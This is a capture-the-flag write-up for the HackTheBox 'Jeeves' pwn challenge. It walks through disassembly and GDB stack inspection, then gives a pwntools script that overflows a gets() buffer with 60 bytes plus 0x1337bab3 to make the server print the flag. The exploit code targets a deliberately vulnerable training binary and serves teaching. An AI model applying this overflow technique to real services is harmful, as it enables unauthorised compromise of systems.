Hackthebox Jeeves Pwn Challenge

Jeeves is a HackTheBox (binary) Pwn challenge, and is now retired. It’s an easy challenge:

When we connect to the server, we see nothing until we enter input: (Note: The address and port differ between the image above and the nc command below because I stopped and restarted the server while writing this post.)

$ nc 138.68.155.238 30861
AAAA
Hello, good sir!
May I have your name? Hello AAAA, hope you have a good day!

Now lets take a look at the file information:

$ file jeeves
jeeves: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=18c31354ce48c8d63267a9a807f1799988af27bf, for GNU/Linux 3.2.0, not stripped

Let’s take a look at a dump of the code using objdump. We see that main() doesn’t call any functions other than those in libc. Right away I notice at 11f5 that 0xdeadc0d3 is copied to rbp-0x4. This looks like a variable. Further down, another hex string 0x1337bab3 is compared to that same address.

Let’s take a look using Ghidra. In Ghidra, you can see that local_c is set to the value “0xdeadc0d3”. Then the user is prompted to enter their name. Next, local_c is compared to the value 0x1337bab3. If the comparison is true, it opens flag.txt and prints the contents.

The next thing to do is to create a local file, flag.txt where I place the contents “fl@g”. Now lets open the jeeves file using GDB. Using the checksec command, you can see that there is no stack canary, and NX is enabled which means that the stack is not executable.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

Next, enter ‘disas main’ and find the address right after the gets@plt call and set a breakpoint there.

gdb-peda$ disas main
Dump of assembler code for function main:
   0x00000000000011e9 <+0>:	endbr64 
   0x00000000000011ed <+4>:	push   rbp
   0x00000000000011ee <+5>:	mov    rbp,rsp
   0x00000000000011f1 <+8>:	sub    rsp,0x40
   0x00000000000011f5 <+12>:	mov    DWORD PTR [rbp-0x4],0xdeadc0d3
   0x00000000000011fc <+19>:	lea    rdi,[rip+0xe05]        # 0x2008
   0x0000000000001203 <+26>:	mov    eax,0x0
   0x0000000000001208 <+31>:	call   0x10a0 <printf@plt>
   0x000000000000120d <+36>:	lea    rax,[rbp-0x40]
   0x0000000000001211 <+40>:	mov    rdi,rax
   0x0000000000001214 <+43>:	mov    eax,0x0
   0x0000000000001219 <+48>:	call   0x10d0 <gets@plt>
   0x000000000000121e <+53>:	lea    rax,[rbp-0x40]
   0x0000000000001222 <+57>:	mov    rsi,rax
   0x0000000000001225 <+60>:	lea    rdi,[rip+0xe04]        # 0x2030
   0x000000000000122c <+67>:	mov    eax,0x0
   0x0000000000001231 <+72>:	call   0x10a0 <printf@plt>
   0x0000000000001236 <+77>:	cmp    DWORD PTR [rbp-0x4],0x1337bab3
   0x000000000000123d <+84>:	jne    0x12a8 <main+191>
   0x000000000000123f <+86>:	mov    edi,0x100
   0x0000000000001244 <+91>:	call   0x10e0 <malloc@plt>
   0x0000000000001249 <+96>:	mov    QWORD PTR [rbp-0x10],rax
   0x000000000000124d <+100>:	mov    esi,0x0
   0x0000000000001252 <+105>:	lea    rdi,[rip+0xdfc]        # 0x2055
   0x0000000000001259 <+112>:	mov    eax,0x0
   0x000000000000125e <+117>:	call   0x10f0 <open@plt>
   0x0000000000001263 <+122>:	mov    DWORD PTR [rbp-0x14],eax
   0x0000000000001266 <+125>:	mov    rcx,QWORD PTR [rbp-0x10]
   0x000000000000126a <+129>:	mov    eax,DWORD PTR [rbp-0x14]
   0x000000000000126d <+132>:	mov    edx,0x100
   0x0000000000001272 <+137>:	mov    rsi,rcx
   0x0000000000001275 <+140>:	mov    edi,eax
   0x0000000000001277 <+142>:	mov    eax,0x0
   0x000000000000127c <+147>:	call   0x10c0 <read@plt>
   0x0000000000001281 <+152>:	mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000001285 <+156>:	mov    rsi,rax
   0x0000000000001288 <+159>:	lea    rdi,[rip+0xdd1]        # 0x2060
   0x000000000000128f <+166>:	mov    eax,0x0
   0x0000000000001294 <+171>:	call   0x10a0 <printf@plt>
   0x0000000000001299 <+176>:	mov    eax,DWORD PTR [rbp-0x14]
   0x000000000000129c <+179>:	mov    edi,eax
   0x000000000000129e <+181>:	mov    eax,0x0
   0x00000000000012a3 <+186>:	call   0x10b0 <close@plt>
   0x00000000000012a8 <+191>:	mov    eax,0x0
   0x00000000000012ad <+196>:	leave  
   0x00000000000012ae <+197>:	ret    
End of assembler dump.
gdb-peda$ b *0x000000000000121e
Breakpoint 1 at 0x121e

I got an error when trying to insert a breakpoint. I assume that this is because the file has been stripped of symbols. Instead, let’s break at the program entry point, _start.

gdb-peda$ b _start
Breakpoint 3 at 0x555555555100
gdb-peda$ run
Starting program: /home/kali/Downloads/htb-jeeves/jeeves

Now lets enter ‘disas main’ again and find that address and set a breakpoint.

gdb-peda$ b *0x000055555555521e
Breakpoint 4 at 0x55555555521e
gdb-peda$ c
Continuing.
Hello, good sir!
May I have your name? AAAA

After entering ‘c’ to continue we hit our next breakpoint. Now let’s dump the stack and take a look. Note that I used ‘x/20xw’ which means to examine 20 hex words, or 4 bytes (32 bits). Although the output of the file command above said this is a 64 bit file and in 64 bit we would normally enter ‘x/20xg’ to display in groups of 8 bytes, it’s easier to count stack addresses when printing in groups of 4 bytes. In the stack, we find our payload “AAAA” as 0x41414141 (A is 41 in hex), and further down the stack we see our variable, 0xdeadc0d3 which we need to overwrite to get the flag.

Breakpoint 4, 0x000055555555521e in main ()
gdb-peda$ x/20xw $rsp
0x7fffffffde60:	0x41414141	0x00007f00	0x555552fd	0x00005555
0x7fffffffde70:	0x00000000	0x00000000	0x00000000	0x00000000
0x7fffffffde80:	0x555552b0	0x00005555	0x55555100	0x00005555
0x7fffffffde90:	0xffffdf90	0x00007fff	0x00000000	0xdeadc0d3
0x7fffffffdea0:	0x555552b0	0x00005555	0xf7e13d0a	0x00007fff

First we need to find the address where 0xdeadc0d3 starts. To the left of that row, find the address. Then count over until you reach that hex value. Remember that on x86 we’re storing data in little endian format, so you need to count starting on the right end (least significant bit) and count right to left. Every two hex bits counts as one byte.

0x7fffffffde90:	0xffffdf90	0x00007fff	0x00000000	0xdeadc0d3

Above, you see the starting address which ends in 0 (0x7fffffffde90). So in the first hex word, 0xffffdf90, 90 is 0, df is 1, ff is 2, and ff is 3. Then go to the next hex word and continue counting from right to left. Finally, we find that the address of 0xdeadc0d3 is at 0x7fffffffde9c. Now we need to count the bytes from the beginning of our A’s payload up to the start of the value we need to overwrite (0xdeadc0d3). An easy way to do this is to use gdb as a calculator:

gdb-peda$ p/u 0x7fffffffde9c - 0x7fffffffde60
$1 = 60

As you can see, we need a payload of 60 bytes, plus the value 0x1337bab3. Remember that in little-endian format, we must send the address backwards as ‘\xb3\xba\x37\x13’. In the script below, I use p64 from pwntools to do that for me. Let’s manually enter our payload locally first and see it works to read our local flag.

$ python3         
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> payload = b'A' * 60
>>> payload += p64(0x1337bab3)
>>> f = open('data.tmp', 'wb')
>>> f.write(payload)
68
>>> f.close()

Contents of data.tmp:

$ cat data.tmp                                    
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��7 

Now we send data.tmp as input to the program locally:

$ ./jeeves < data.tmp                      
Hello, good sir!
May I have your name? Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��7, hope you have a good day!
Pleased to make your acquaintance. Here's a small gift: fl@g

Remember, earlier I had created a local flag.txt file with the same contents.

Let’s use pwntools to solve this. I placed plenty of comments in the code to explain how it works.

$ cat solve.py                                    
#!/usr/bin/env python3
from pwn import * # import pwntools
payload = b'A' * 60 # our 60 byte buffer
payload += p64(0x1337bab3) # Remember we need to send this value in little endian format, and p64 from pwntools does this for us.
conn = remote("138.68.155.238", 30861) # connect to the server host and port
conn.sendline(payload) # send our payload
#conn.interactive() # receive the rest of the output.

Finally, lets run solve.py and get the flag:

$ python3 solve.py
[+] Opening connection to 138.68.155.238 on port 30861: Done
b"Hello, good sir!\nMay I have your name? Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb3\xba7\x13, hope you have a good day!\nPleased to make your acquaintance. Here's a small gift: HTB{w3lc0me_t0_lAnd_0f_pwn_&_pa1n!}\n"
[*] Closed connection to 138.68.155.238 port 30861

In the output, we see our flag: HTB{w3lc0me_t0lAnd_0f_pwn&_pa1n!}